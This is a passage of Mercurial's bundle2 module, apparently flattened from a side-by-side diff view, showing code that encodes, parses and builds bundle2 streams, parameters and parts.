631 chunks = []
628 for ca in sorted(caps):
632 for ca in sorted(caps):
629 vals = caps[ca]
633 vals = caps[ca]
630 ca = urlreq.quote(ca)
634 ca = urlreq.quote(ca)
631 vals = [urlreq.quote(v) for v in vals]
635 vals = [urlreq.quote(v) for v in vals]
632 if vals:
636 if vals:
633 ca = b"%s=%s" % (ca, b','.join(vals))
637 ca = b"%s=%s" % (ca, b','.join(vals))
634 chunks.append(ca)
638 chunks.append(ca)
635 return b'\n'.join(chunks)
639 return b'\n'.join(chunks)
636
640
637
641
638 bundletypes = {
642 bundletypes = {
639 b"": (b"", b'UN'), # only when using unbundle on ssh and old http servers
643 b"": (b"", b'UN'), # only when using unbundle on ssh and old http servers
640 # since the unification ssh accepts a header but there
644 # since the unification ssh accepts a header but there
641 # is no capability signaling it.
645 # is no capability signaling it.
642 b"HG20": (), # special-cased below
646 b"HG20": (), # special-cased below
643 b"HG10UN": (b"HG10UN", b'UN'),
647 b"HG10UN": (b"HG10UN", b'UN'),
644 b"HG10BZ": (b"HG10", b'BZ'),
648 b"HG10BZ": (b"HG10", b'BZ'),
645 b"HG10GZ": (b"HG10GZ", b'GZ'),
649 b"HG10GZ": (b"HG10GZ", b'GZ'),
646 }
650 }
647
651
648 # hgweb uses this list to communicate its preferred type
652 # hgweb uses this list to communicate its preferred type
649 bundlepriority = [b'HG10GZ', b'HG10BZ', b'HG10UN']
653 bundlepriority = [b'HG10GZ', b'HG10BZ', b'HG10UN']
650
654
651
655
652 class bundle20:
656 class bundle20:
653 """represent an outgoing bundle2 container
657 """represent an outgoing bundle2 container
654
658
655 Use the `addparam` method to add stream level parameter. and `newpart` to
659 Use the `addparam` method to add stream level parameter. and `newpart` to
656 populate it. Then call `getchunks` to retrieve all the binary chunks of
660 populate it. Then call `getchunks` to retrieve all the binary chunks of
657 data that compose the bundle2 container."""
661 data that compose the bundle2 container."""
658
662
659 _magicstring = b'HG20'
663 _magicstring = b'HG20'
660
664
661 def __init__(self, ui, capabilities=()):
665 def __init__(self, ui, capabilities=()):
662 self.ui = ui
666 self.ui = ui
663 self._params = []
667 self._params = []
664 self._parts = []
668 self._parts = []
665 self.capabilities = dict(capabilities)
669 self.capabilities = dict(capabilities)
666 self._compengine = util.compengines.forbundletype(b'UN')
670 self._compengine = util.compengines.forbundletype(b'UN')
667 self._compopts = None
671 self._compopts = None
668 # If compression is being handled by a consumer of the raw
672 # If compression is being handled by a consumer of the raw
669 # data (e.g. the wire protocol), unsetting this flag tells
673 # data (e.g. the wire protocol), unsetting this flag tells
670 # consumers that the bundle is best left uncompressed.
674 # consumers that the bundle is best left uncompressed.
671 self.prefercompressed = True
675 self.prefercompressed = True
672
676
673 def setcompression(self, alg, compopts=None):
677 def setcompression(self, alg, compopts=None):
674 """setup core part compression to <alg>"""
678 """setup core part compression to <alg>"""
675 if alg in (None, b'UN'):
679 if alg in (None, b'UN'):
676 return
680 return
677 assert not any(n.lower() == b'compression' for n, v in self._params)
681 assert not any(n.lower() == b'compression' for n, v in self._params)
678 self.addparam(b'Compression', alg)
682 self.addparam(b'Compression', alg)
679 self._compengine = util.compengines.forbundletype(alg)
683 self._compengine = util.compengines.forbundletype(alg)
680 self._compopts = compopts
684 self._compopts = compopts
681
685
682 @property
686 @property
683 def nbparts(self):
687 def nbparts(self):
684 """total number of parts added to the bundler"""
688 """total number of parts added to the bundler"""
685 return len(self._parts)
689 return len(self._parts)
686
690
687 # methods used to defines the bundle2 content
691 # methods used to defines the bundle2 content
688 def addparam(self, name, value=None):
692 def addparam(self, name, value=None):
689 """add a stream level parameter"""
693 """add a stream level parameter"""
690 if not name:
694 if not name:
691 raise error.ProgrammingError(b'empty parameter name')
695 raise error.ProgrammingError(b'empty parameter name')
692 if name[0:1] not in pycompat.bytestr(
696 if name[0:1] not in pycompat.bytestr(
693 string.ascii_letters # pytype: disable=wrong-arg-types
697 string.ascii_letters # pytype: disable=wrong-arg-types
694 ):
698 ):
695 raise error.ProgrammingError(
699 raise error.ProgrammingError(
696 b'non letter first character: %s' % name
700 b'non letter first character: %s' % name
697 )
701 )
698 self._params.append((name, value))
702 self._params.append((name, value))
699
703
700 def addpart(self, part):
704 def addpart(self, part):
701 """add a new part to the bundle2 container
705 """add a new part to the bundle2 container
702
706
703 Parts contains the actual applicative payload."""
707 Parts contains the actual applicative payload."""
704 assert part.id is None
708 assert part.id is None
705 part.id = len(self._parts) # very cheap counter
709 part.id = len(self._parts) # very cheap counter
706 self._parts.append(part)
710 self._parts.append(part)
707
711
708 def newpart(self, typeid, *args, **kwargs):
712 def newpart(self, typeid, *args, **kwargs):
709 """create a new part and add it to the containers
713 """create a new part and add it to the containers
710
714
711 As the part is directly added to the containers. For now, this means
715 As the part is directly added to the containers. For now, this means
712 that any failure to properly initialize the part after calling
716 that any failure to properly initialize the part after calling
713 ``newpart`` should result in a failure of the whole bundling process.
717 ``newpart`` should result in a failure of the whole bundling process.
714
718
715 You can still fall back to manually create and add if you need better
719 You can still fall back to manually create and add if you need better
716 control."""
720 control."""
717 part = bundlepart(typeid, *args, **kwargs)
721 part = bundlepart(typeid, *args, **kwargs)
718 self.addpart(part)
722 self.addpart(part)
719 return part
723 return part
720
724
721 # methods used to generate the bundle2 stream
725 # methods used to generate the bundle2 stream
722 def getchunks(self):
726 def getchunks(self):
723 if self.ui.debugflag:
727 if self.ui.debugflag:
724 msg = [b'bundle2-output-bundle: "%s",' % self._magicstring]
728 msg = [b'bundle2-output-bundle: "%s",' % self._magicstring]
725 if self._params:
729 if self._params:
726 msg.append(b' (%i params)' % len(self._params))
730 msg.append(b' (%i params)' % len(self._params))
727 msg.append(b' %i parts total\n' % len(self._parts))
731 msg.append(b' %i parts total\n' % len(self._parts))
728 self.ui.debug(b''.join(msg))
732 self.ui.debug(b''.join(msg))
729 outdebug(self.ui, b'start emission of %s stream' % self._magicstring)
733 outdebug(self.ui, b'start emission of %s stream' % self._magicstring)
730 yield self._magicstring
734 yield self._magicstring
731 param = self._paramchunk()
735 param = self._paramchunk()
732 outdebug(self.ui, b'bundle parameter: %s' % param)
736 outdebug(self.ui, b'bundle parameter: %s' % param)
733 yield _pack(_fstreamparamsize, len(param))
737 yield _pack(_fstreamparamsize, len(param))
734 if param:
738 if param:
735 yield param
739 yield param
736 for chunk in self._compengine.compressstream(
740 for chunk in self._compengine.compressstream(
737 self._getcorechunk(), self._compopts
741 self._getcorechunk(), self._compopts
738 ):
742 ):
739 yield chunk
743 yield chunk
740
744
741 def _paramchunk(self):
745 def _paramchunk(self):
742 """return a encoded version of all stream parameters"""
746 """return a encoded version of all stream parameters"""
743 blocks = []
747 blocks = []
744 for par, value in self._params:
748 for par, value in self._params:
745 par = urlreq.quote(par)
749 par = urlreq.quote(par)
746 if value is not None:
750 if value is not None:
747 value = urlreq.quote(value)
751 value = urlreq.quote(value)
748 par = b'%s=%s' % (par, value)
752 par = b'%s=%s' % (par, value)
749 blocks.append(par)
753 blocks.append(par)
750 return b' '.join(blocks)
754 return b' '.join(blocks)
751
755
752 def _getcorechunk(self):
756 def _getcorechunk(self):
753 """yield chunk for the core part of the bundle
757 """yield chunk for the core part of the bundle
754
758
755 (all but headers and parameters)"""
759 (all but headers and parameters)"""
756 outdebug(self.ui, b'start of parts')
760 outdebug(self.ui, b'start of parts')
757 for part in self._parts:
761 for part in self._parts:
758 outdebug(self.ui, b'bundle part: "%s"' % part.type)
762 outdebug(self.ui, b'bundle part: "%s"' % part.type)
759 for chunk in part.getchunks(ui=self.ui):
763 for chunk in part.getchunks(ui=self.ui):
760 yield chunk
764 yield chunk
761 outdebug(self.ui, b'end of bundle')
765 outdebug(self.ui, b'end of bundle')
762 yield _pack(_fpartheadersize, 0)
766 yield _pack(_fpartheadersize, 0)
763
767
764 def salvageoutput(self):
768 def salvageoutput(self):
765 """return a list with a copy of all output parts in the bundle
769 """return a list with a copy of all output parts in the bundle
766
770
767 This is meant to be used during error handling to make sure we preserve
771 This is meant to be used during error handling to make sure we preserve
768 server output"""
772 server output"""
769 salvaged = []
773 salvaged = []
770 for part in self._parts:
774 for part in self._parts:
771 if part.type.startswith(b'output'):
775 if part.type.startswith(b'output'):
772 salvaged.append(part.copy())
776 salvaged.append(part.copy())
773 return salvaged
777 return salvaged
774
778
775
779
776 class unpackermixin:
780 class unpackermixin:
777 """A mixin to extract bytes and struct data from a stream"""
781 """A mixin to extract bytes and struct data from a stream"""
778
782
779 def __init__(self, fp):
783 def __init__(self, fp):
780 self._fp = fp
784 self._fp = fp
781
785
782 def _unpack(self, format):
786 def _unpack(self, format):
783 """unpack this struct format from the stream
787 """unpack this struct format from the stream
784
788
785 This method is meant for internal usage by the bundle2 protocol only.
789 This method is meant for internal usage by the bundle2 protocol only.
786 They directly manipulate the low level stream including bundle2 level
790 They directly manipulate the low level stream including bundle2 level
787 instruction.
791 instruction.
788
792
789 Do not use it to implement higher-level logic or methods."""
793 Do not use it to implement higher-level logic or methods."""
790 data = self._readexact(struct.calcsize(format))
794 data = self._readexact(struct.calcsize(format))
791 return _unpack(format, data)
795 return _unpack(format, data)
792
796
793 def _readexact(self, size):
797 def _readexact(self, size):
794 """read exactly <size> bytes from the stream
798 """read exactly <size> bytes from the stream
795
799
796 This method is meant for internal usage by the bundle2 protocol only.
800 This method is meant for internal usage by the bundle2 protocol only.
797 They directly manipulate the low level stream including bundle2 level
801 They directly manipulate the low level stream including bundle2 level
798 instruction.
802 instruction.
799
803
800 Do not use it to implement higher-level logic or methods."""
804 Do not use it to implement higher-level logic or methods."""
801 return changegroup.readexactly(self._fp, size)
805 return changegroup.readexactly(self._fp, size)
802
806
803
807
804 def getunbundler(ui, fp, magicstring=None):
808 def getunbundler(ui, fp, magicstring=None):
805 """return a valid unbundler object for a given magicstring"""
809 """return a valid unbundler object for a given magicstring"""
806 if magicstring is None:
810 if magicstring is None:
807 magicstring = changegroup.readexactly(fp, 4)
811 magicstring = changegroup.readexactly(fp, 4)
808 magic, version = magicstring[0:2], magicstring[2:4]
812 magic, version = magicstring[0:2], magicstring[2:4]
809 if magic != b'HG':
813 if magic != b'HG':
810 ui.debug(
814 ui.debug(
811 b"error: invalid magic: %r (version %r), should be 'HG'\n"
815 b"error: invalid magic: %r (version %r), should be 'HG'\n"
812 % (magic, version)
816 % (magic, version)
813 )
817 )
814 raise error.Abort(_(b'not a Mercurial bundle'))
818 raise error.Abort(_(b'not a Mercurial bundle'))
815 unbundlerclass = formatmap.get(version)
819 unbundlerclass = formatmap.get(version)
816 if unbundlerclass is None:
820 if unbundlerclass is None:
817 raise error.Abort(_(b'unknown bundle version %s') % version)
821 raise error.Abort(_(b'unknown bundle version %s') % version)
818 unbundler = unbundlerclass(ui, fp)
822 unbundler = unbundlerclass(ui, fp)
819 indebug(ui, b'start processing of %s stream' % magicstring)
823 indebug(ui, b'start processing of %s stream' % magicstring)
820 return unbundler
824 return unbundler
821
825
822
826
823 class unbundle20(unpackermixin):
827 class unbundle20(unpackermixin):
824 """interpret a bundle2 stream
828 """interpret a bundle2 stream
825
829
826 This class is fed with a binary stream and yields parts through its
830 This class is fed with a binary stream and yields parts through its
827 `iterparts` methods."""
831 `iterparts` methods."""
828
832
829 _magicstring = b'HG20'
833 _magicstring = b'HG20'
830
834
831 def __init__(self, ui, fp):
835 def __init__(self, ui, fp):
832 """If header is specified, we do not read it out of the stream."""
836 """If header is specified, we do not read it out of the stream."""
833 self.ui = ui
837 self.ui = ui
834 self._compengine = util.compengines.forbundletype(b'UN')
838 self._compengine = util.compengines.forbundletype(b'UN')
835 self._compressed = None
839 self._compressed = None
836 super(unbundle20, self).__init__(fp)
840 super(unbundle20, self).__init__(fp)
837
841
838 @util.propertycache
842 @util.propertycache
839 def params(self):
843 def params(self):
840 """dictionary of stream level parameters"""
844 """dictionary of stream level parameters"""
841 indebug(self.ui, b'reading bundle2 stream parameters')
845 indebug(self.ui, b'reading bundle2 stream parameters')
842 params = {}
846 params = {}
843 paramssize = self._unpack(_fstreamparamsize)[0]
847 paramssize = self._unpack(_fstreamparamsize)[0]
844 if paramssize < 0:
848 if paramssize < 0:
845 raise error.BundleValueError(
849 raise error.BundleValueError(
846 b'negative bundle param size: %i' % paramssize
850 b'negative bundle param size: %i' % paramssize
847 )
851 )
848 if paramssize:
852 if paramssize:
849 params = self._readexact(paramssize)
853 params = self._readexact(paramssize)
850 params = self._processallparams(params)
854 params = self._processallparams(params)
851 return params
855 return params
852
856
853 def _processallparams(self, paramsblock):
857 def _processallparams(self, paramsblock):
854 """ """
858 """ """
855 params = util.sortdict()
859 params = util.sortdict()
856 for p in paramsblock.split(b' '):
860 for p in paramsblock.split(b' '):
857 p = p.split(b'=', 1)
861 p = p.split(b'=', 1)
858 p = [urlreq.unquote(i) for i in p]
862 p = [urlreq.unquote(i) for i in p]
859 if len(p) < 2:
863 if len(p) < 2:
860 p.append(None)
864 p.append(None)
861 self._processparam(*p)
865 self._processparam(*p)
862 params[p[0]] = p[1]
866 params[p[0]] = p[1]
863 return params
867 return params
864
868
865 def _processparam(self, name, value):
869 def _processparam(self, name, value):
866 """process a parameter, applying its effect if needed
870 """process a parameter, applying its effect if needed
867
871
868 Parameter starting with a lower case letter are advisory and will be
872 Parameter starting with a lower case letter are advisory and will be
869 ignored when unknown. Those starting with an upper case letter are
873 ignored when unknown. Those starting with an upper case letter are
870 mandatory and will this function will raise a KeyError when unknown.
874 mandatory and will this function will raise a KeyError when unknown.
871
875
872 Note: no option are currently supported. Any input will be either
876 Note: no option are currently supported. Any input will be either
873 ignored or failing.
877 ignored or failing.
874 """
878 """
875 if not name:
879 if not name:
876 raise ValueError('empty parameter name')
880 raise ValueError('empty parameter name')
877 if name[0:1] not in pycompat.bytestr(
881 if name[0:1] not in pycompat.bytestr(
878 string.ascii_letters # pytype: disable=wrong-arg-types
882 string.ascii_letters # pytype: disable=wrong-arg-types
879 ):
883 ):
880 raise ValueError('non letter first character: %s' % name)
884 raise ValueError('non letter first character: %s' % name)
881 try:
885 try:
882 handler = b2streamparamsmap[name.lower()]
886 handler = b2streamparamsmap[name.lower()]
883 except KeyError:
887 except KeyError:
884 if name[0:1].islower():
888 if name[0:1].islower():
885 indebug(self.ui, b"ignoring unknown parameter %s" % name)
889 indebug(self.ui, b"ignoring unknown parameter %s" % name)
886 else:
890 else:
887 raise error.BundleUnknownFeatureError(params=(name,))
891 raise error.BundleUnknownFeatureError(params=(name,))
888 else:
892 else:
889 handler(self, name, value)
893 handler(self, name, value)
890
894
891 def _forwardchunks(self):
895 def _forwardchunks(self):
892 """utility to transfer a bundle2 as binary
896 """utility to transfer a bundle2 as binary
893
897
894 This is made necessary by the fact the 'getbundle' command over 'ssh'
898 This is made necessary by the fact the 'getbundle' command over 'ssh'
895 have no way to know then the reply end, relying on the bundle to be
899 have no way to know then the reply end, relying on the bundle to be
896 interpreted to know its end. This is terrible and we are sorry, but we
900 interpreted to know its end. This is terrible and we are sorry, but we
897 needed to move forward to get general delta enabled.
901 needed to move forward to get general delta enabled.
898 """
902 """
899 yield self._magicstring
903 yield self._magicstring
900 assert 'params' not in vars(self)
904 assert 'params' not in vars(self)
901 paramssize = self._unpack(_fstreamparamsize)[0]
905 paramssize = self._unpack(_fstreamparamsize)[0]
902 if paramssize < 0:
906 if paramssize < 0:
903 raise error.BundleValueError(
907 raise error.BundleValueError(
904 b'negative bundle param size: %i' % paramssize
908 b'negative bundle param size: %i' % paramssize
905 )
909 )
906 if paramssize:
910 if paramssize:
907 params = self._readexact(paramssize)
911 params = self._readexact(paramssize)
908 self._processallparams(params)
912 self._processallparams(params)
909 # The payload itself is decompressed below, so drop
913 # The payload itself is decompressed below, so drop
910 # the compression parameter passed down to compensate.
914 # the compression parameter passed down to compensate.
911 outparams = []
915 outparams = []
912 for p in params.split(b' '):
916 for p in params.split(b' '):
913 k, v = p.split(b'=', 1)
917 k, v = p.split(b'=', 1)
914 if k.lower() != b'compression':
918 if k.lower() != b'compression':
915 outparams.append(p)
919 outparams.append(p)
916 outparams = b' '.join(outparams)
920 outparams = b' '.join(outparams)
917 yield _pack(_fstreamparamsize, len(outparams))
921 yield _pack(_fstreamparamsize, len(outparams))
918 yield outparams
922 yield outparams
919 else:
923 else:
920 yield _pack(_fstreamparamsize, paramssize)
924 yield _pack(_fstreamparamsize, paramssize)
921 # From there, payload might need to be decompressed
925 # From there, payload might need to be decompressed
922 self._fp = self._compengine.decompressorreader(self._fp)
926 self._fp = self._compengine.decompressorreader(self._fp)
923 emptycount = 0
927 emptycount = 0
924 while emptycount < 2:
928 while emptycount < 2:
925 # so we can brainlessly loop
929 # so we can brainlessly loop
926 assert _fpartheadersize == _fpayloadsize
930 assert _fpartheadersize == _fpayloadsize
927 size = self._unpack(_fpartheadersize)[0]
931 size = self._unpack(_fpartheadersize)[0]
928 yield _pack(_fpartheadersize, size)
932 yield _pack(_fpartheadersize, size)
929 if size:
933 if size:
930 emptycount = 0
934 emptycount = 0
931 else:
935 else:
932 emptycount += 1
936 emptycount += 1
933 continue
937 continue
934 if size == flaginterrupt:
938 if size == flaginterrupt:
935 continue
939 continue
936 elif size < 0:
940 elif size < 0:
937 raise error.BundleValueError(b'negative chunk size: %i')
941 raise error.BundleValueError(b'negative chunk size: %i')
938 yield self._readexact(size)
942 yield self._readexact(size)
939
943
940 def iterparts(self, seekable=False):
944 def iterparts(self, seekable=False):
941 """yield all parts contained in the stream"""
945 """yield all parts contained in the stream"""
942 cls = seekableunbundlepart if seekable else unbundlepart
946 cls = seekableunbundlepart if seekable else unbundlepart
943 # make sure param have been loaded
947 # make sure param have been loaded
944 self.params
948 self.params
945 # From there, payload need to be decompressed
949 # From there, payload need to be decompressed
946 self._fp = self._compengine.decompressorreader(self._fp)
950 self._fp = self._compengine.decompressorreader(self._fp)
947 indebug(self.ui, b'start extraction of bundle2 parts')
951 indebug(self.ui, b'start extraction of bundle2 parts')
948 headerblock = self._readpartheader()
952 headerblock = self._readpartheader()
949 while headerblock is not None:
953 while headerblock is not None:
950 part = cls(self.ui, headerblock, self._fp)
954 part = cls(self.ui, headerblock, self._fp)
951 yield part
955 yield part
952 # Ensure part is fully consumed so we can start reading the next
956 # Ensure part is fully consumed so we can start reading the next
953 # part.
957 # part.
954 part.consume()
958 part.consume()
955
959
956 headerblock = self._readpartheader()
960 headerblock = self._readpartheader()
957 indebug(self.ui, b'end of bundle2 stream')
961 indebug(self.ui, b'end of bundle2 stream')
958
962
959 def _readpartheader(self):
963 def _readpartheader(self):
960 """reads a part header size and return the bytes blob
964 """reads a part header size and return the bytes blob
961
965
962 returns None if empty"""
966 returns None if empty"""
963 headersize = self._unpack(_fpartheadersize)[0]
967 headersize = self._unpack(_fpartheadersize)[0]
964 if headersize < 0:
968 if headersize < 0:
965 raise error.BundleValueError(
969 raise error.BundleValueError(
966 b'negative part header size: %i' % headersize
970 b'negative part header size: %i' % headersize
967 )
971 )
968 indebug(self.ui, b'part header size: %i' % headersize)
972 indebug(self.ui, b'part header size: %i' % headersize)
969 if headersize:
973 if headersize:
970 return self._readexact(headersize)
974 return self._readexact(headersize)
971 return None
975 return None
972
976
973 def compressed(self):
977 def compressed(self):
974 self.params # load params
978 self.params # load params
975 return self._compressed
979 return self._compressed
976
980
977 def close(self):
981 def close(self):
978 """close underlying file"""
982 """close underlying file"""
979 if util.safehasattr(self._fp, 'close'):
983 if util.safehasattr(self._fp, 'close'):
980 return self._fp.close()
984 return self._fp.close()
981
985
982
986
983 formatmap = {b'20': unbundle20}
987 formatmap = {b'20': unbundle20}
984
988
985 b2streamparamsmap = {}
989 b2streamparamsmap = {}
986
990
987
991
988 def b2streamparamhandler(name):
992 def b2streamparamhandler(name):
989 """register a handler for a stream level parameter"""
993 """register a handler for a stream level parameter"""
990
994
991 def decorator(func):
995 def decorator(func):
992 assert name not in formatmap
996 assert name not in formatmap
993 b2streamparamsmap[name] = func
997 b2streamparamsmap[name] = func
994 return func
998 return func
995
999
996 return decorator
1000 return decorator
997
1001
998
1002
999 @b2streamparamhandler(b'compression')
1003 @b2streamparamhandler(b'compression')
1000 def processcompression(unbundler, param, value):
1004 def processcompression(unbundler, param, value):
1001 """read compression parameter and install payload decompression"""
1005 """read compression parameter and install payload decompression"""
1002 if value not in util.compengines.supportedbundletypes:
1006 if value not in util.compengines.supportedbundletypes:
1003 raise error.BundleUnknownFeatureError(params=(param,), values=(value,))
1007 raise error.BundleUnknownFeatureError(params=(param,), values=(value,))
1004 unbundler._compengine = util.compengines.forbundletype(value)
1008 unbundler._compengine = util.compengines.forbundletype(value)
1005 if value is not None:
1009 if value is not None:
1006 unbundler._compressed = True
1010 unbundler._compressed = True
1007
1011
1008
1012
1009 class bundlepart:
1013 class bundlepart:
1010 """A bundle2 part contains application level payload
1014 """A bundle2 part contains application level payload
1011
1015
1012 The part `type` is used to route the part to the application level
1016 The part `type` is used to route the part to the application level
1013 handler.
1017 handler.
1014
1018
1015 The part payload is contained in ``part.data``. It could be raw bytes or a
1019 The part payload is contained in ``part.data``. It could be raw bytes or a
1016 generator of byte chunks.
1020 generator of byte chunks.
1017
1021
1018 You can add parameters to the part using the ``addparam`` method.
1022 You can add parameters to the part using the ``addparam`` method.
1019 Parameters can be either mandatory (default) or advisory. Remote side
1023 Parameters can be either mandatory (default) or advisory. Remote side
1020 should be able to safely ignore the advisory ones.
1024 should be able to safely ignore the advisory ones.
1021
1025
1022 Both data and parameters cannot be modified after the generation has begun.
1026 Both data and parameters cannot be modified after the generation has begun.
1023 """
1027 """
1024
1028
1025 def __init__(
1029 def __init__(
1026 self,
1030 self,
1027 parttype,
1031 parttype,
1028 mandatoryparams=(),
1032 mandatoryparams=(),
1029 advisoryparams=(),
1033 advisoryparams=(),
1030 data=b'',
1034 data=b'',
1031 mandatory=True,
1035 mandatory=True,
1032 ):
1036 ):
1033 validateparttype(parttype)
1037 validateparttype(parttype)
1034 self.id = None
1038 self.id = None
1035 self.type = parttype
1039 self.type = parttype
1036 self._data = data
1040 self._data = data
1037 self._mandatoryparams = list(mandatoryparams)
1041 self._mandatoryparams = list(mandatoryparams)
1038 self._advisoryparams = list(advisoryparams)
1042 self._advisoryparams = list(advisoryparams)
1039 # checking for duplicated entries
1043 # checking for duplicated entries
1040 self._seenparams = set()
1044 self._seenparams = set()
1041 for pname, __ in self._mandatoryparams + self._advisoryparams:
1045 for pname, __ in self._mandatoryparams + self._advisoryparams:
1042 if pname in self._seenparams:
1046 if pname in self._seenparams:
1043 raise error.ProgrammingError(b'duplicated params: %s' % pname)
1047 raise error.ProgrammingError(b'duplicated params: %s' % pname)
1044 self._seenparams.add(pname)
1048 self._seenparams.add(pname)
1045 # status of the part's generation:
1049 # status of the part's generation:
1046 # - None: not started,
1050 # - None: not started,
1047 # - False: currently generated,
1051 # - False: currently generated,
1048 # - True: generation done.
1052 # - True: generation done.
1049 self._generated = None
1053 self._generated = None
1050 self.mandatory = mandatory
1054 self.mandatory = mandatory
1051
1055
1052 def __repr__(self):
1056 def __repr__(self):
1053 cls = "%s.%s" % (self.__class__.__module__, self.__class__.__name__)
1057 cls = "%s.%s" % (self.__class__.__module__, self.__class__.__name__)
1054 return '<%s object at %x; id: %s; type: %s; mandatory: %s>' % (
1058 return '<%s object at %x; id: %s; type: %s; mandatory: %s>' % (
1055 cls,
1059 cls,
1056 id(self),
1060 id(self),
1057 self.id,
1061 self.id,
1058 self.type,
1062 self.type,
1059 self.mandatory,
1063 self.mandatory,
1060 )
1064 )
1061
1065
1062 def copy(self):
1066 def copy(self):
1063 """return a copy of the part
1067 """return a copy of the part
1064
1068
1065 The new part have the very same content but no partid assigned yet.
1069 The new part have the very same content but no partid assigned yet.
1066 Parts with generated data cannot be copied."""
1070 Parts with generated data cannot be copied."""
1067 assert not util.safehasattr(self.data, 'next')
1071 assert not util.safehasattr(self.data, 'next')
1068 return self.__class__(
1072 return self.__class__(
1069 self.type,
1073 self.type,
1070 self._mandatoryparams,
1074 self._mandatoryparams,
1071 self._advisoryparams,
1075 self._advisoryparams,
1072 self._data,
1076 self._data,
1073 self.mandatory,
1077 self.mandatory,
1074 )
1078 )
1075
1079
1076 # methods used to defines the part content
1080 # methods used to defines the part content
1077 @property
1081 @property
1078 def data(self):
1082 def data(self):
1079 return self._data
1083 return self._data
1080
1084
1081 @data.setter
1085 @data.setter
1082 def data(self, data):
1086 def data(self, data):
1083 if self._generated is not None:
1087 if self._generated is not None:
1084 raise error.ReadOnlyPartError(b'part is being generated')
1088 raise error.ReadOnlyPartError(b'part is being generated')
1085 self._data = data
1089 self._data = data
1086
1090
1087 @property
1091 @property
1088 def mandatoryparams(self):
1092 def mandatoryparams(self):
1089 # make it an immutable tuple to force people through ``addparam``
1093 # make it an immutable tuple to force people through ``addparam``
1090 return tuple(self._mandatoryparams)
1094 return tuple(self._mandatoryparams)
1091
1095
1092 @property
1096 @property
1093 def advisoryparams(self):
1097 def advisoryparams(self):
1094 # make it an immutable tuple to force people through ``addparam``
1098 # make it an immutable tuple to force people through ``addparam``
1095 return tuple(self._advisoryparams)
1099 return tuple(self._advisoryparams)
1096
1100
1097 def addparam(self, name, value=b'', mandatory=True):
1101 def addparam(self, name, value=b'', mandatory=True):
1098 """add a parameter to the part
1102 """add a parameter to the part
1099
1103
1100 If 'mandatory' is set to True, the remote handler must claim support
1104 If 'mandatory' is set to True, the remote handler must claim support
1101 for this parameter or the unbundling will be aborted.
1105 for this parameter or the unbundling will be aborted.
1102
1106
1103 The 'name' and 'value' cannot exceed 255 bytes each.
1107 The 'name' and 'value' cannot exceed 255 bytes each.
1104 """
1108 """
1105 if self._generated is not None:
1109 if self._generated is not None:
1106 raise error.ReadOnlyPartError(b'part is being generated')
1110 raise error.ReadOnlyPartError(b'part is being generated')
1107 if name in self._seenparams:
1111 if name in self._seenparams:
1108 raise ValueError(b'duplicated params: %s' % name)
1112 raise ValueError(b'duplicated params: %s' % name)
1109 self._seenparams.add(name)
1113 self._seenparams.add(name)
1110 params = self._advisoryparams
1114 params = self._advisoryparams
1111 if mandatory:
1115 if mandatory:
1112 params = self._mandatoryparams
1116 params = self._mandatoryparams
1113 params.append((name, value))
1117 params.append((name, value))
1114
1118
1115 # methods used to generates the bundle2 stream
1119 # methods used to generates the bundle2 stream
1116 def getchunks(self, ui):
1120 def getchunks(self, ui):
1117 if self._generated is not None:
1121 if self._generated is not None:
1118 raise error.ProgrammingError(b'part can only be consumed once')
1122 raise error.ProgrammingError(b'part can only be consumed once')
1119 self._generated = False
1123 self._generated = False
1120
1124
1121 if ui.debugflag:
1125 if ui.debugflag:
1122 msg = [b'bundle2-output-part: "%s"' % self.type]
1126 msg = [b'bundle2-output-part: "%s"' % self.type]
1123 if not self.mandatory:
1127 if not self.mandatory:
1124 msg.append(b' (advisory)')
1128 msg.append(b' (advisory)')
1125 nbmp = len(self.mandatoryparams)
1129 nbmp = len(self.mandatoryparams)
1126 nbap = len(self.advisoryparams)
1130 nbap = len(self.advisoryparams)
1127 if nbmp or nbap:
1131 if nbmp or nbap:
1128 msg.append(b' (params:')
1132 msg.append(b' (params:')
1129 if nbmp:
1133 if nbmp:
1130 msg.append(b' %i mandatory' % nbmp)
1134 msg.append(b' %i mandatory' % nbmp)
1131 if nbap:
1135 if nbap:
1132 msg.append(b' %i advisory' % nbmp)
1136 msg.append(b' %i advisory' % nbmp)
1133 msg.append(b')')
1137 msg.append(b')')
1134 if not self.data:
1138 if not self.data:
1135 msg.append(b' empty payload')
1139 msg.append(b' empty payload')
1136 elif util.safehasattr(self.data, 'next') or util.safehasattr(
1140 elif util.safehasattr(self.data, 'next') or util.safehasattr(
1137 self.data, b'__next__'
1141 self.data, b'__next__'
1138 ):
1142 ):
1139 msg.append(b' streamed payload')
1143 msg.append(b' streamed payload')
1140 else:
1144 else:
1141 msg.append(b' %i bytes payload' % len(self.data))
1145 msg.append(b' %i bytes payload' % len(self.data))
1142 msg.append(b'\n')
1146 msg.append(b'\n')
1143 ui.debug(b''.join(msg))
1147 ui.debug(b''.join(msg))
1144
1148
1145 #### header
1149 #### header
1146 if self.mandatory:
1150 if self.mandatory:
1147 parttype = self.type.upper()
1151 parttype = self.type.upper()
1148 else:
1152 else:
1149 parttype = self.type.lower()
1153 parttype = self.type.lower()
1150 outdebug(ui, b'part %s: "%s"' % (pycompat.bytestr(self.id), parttype))
1154 outdebug(ui, b'part %s: "%s"' % (pycompat.bytestr(self.id), parttype))
1151 ## parttype
1155 ## parttype
1152 header = [
1156 header = [
1153 _pack(_fparttypesize, len(parttype)),
1157 _pack(_fparttypesize, len(parttype)),
1154 parttype,
1158 parttype,
1155 _pack(_fpartid, self.id),
1159 _pack(_fpartid, self.id),
1156 ]
1160 ]
1157 ## parameters
1161 ## parameters
1158 # count
1162 # count
1159 manpar = self.mandatoryparams
1163 manpar = self.mandatoryparams
1160 advpar = self.advisoryparams
1164 advpar = self.advisoryparams
1161 header.append(_pack(_fpartparamcount, len(manpar), len(advpar)))
1165 header.append(_pack(_fpartparamcount, len(manpar), len(advpar)))
1162 # size
1166 # size
1163 parsizes = []
1167 parsizes = []
1164 for key, value in manpar:
1168 for key, value in manpar:
1165 parsizes.append(len(key))
1169 parsizes.append(len(key))
1166 parsizes.append(len(value))
1170 parsizes.append(len(value))
1167 for key, value in advpar:
1171 for key, value in advpar:
1168 parsizes.append(len(key))
1172 parsizes.append(len(key))
1169 parsizes.append(len(value))
1173 parsizes.append(len(value))
1170 paramsizes = _pack(_makefpartparamsizes(len(parsizes) // 2), *parsizes)
1174 paramsizes = _pack(_makefpartparamsizes(len(parsizes) // 2), *parsizes)
1171 header.append(paramsizes)
1175 header.append(paramsizes)
1172 # key, value
1176 # key, value
1173 for key, value in manpar:
1177 for key, value in manpar:
1174 header.append(key)
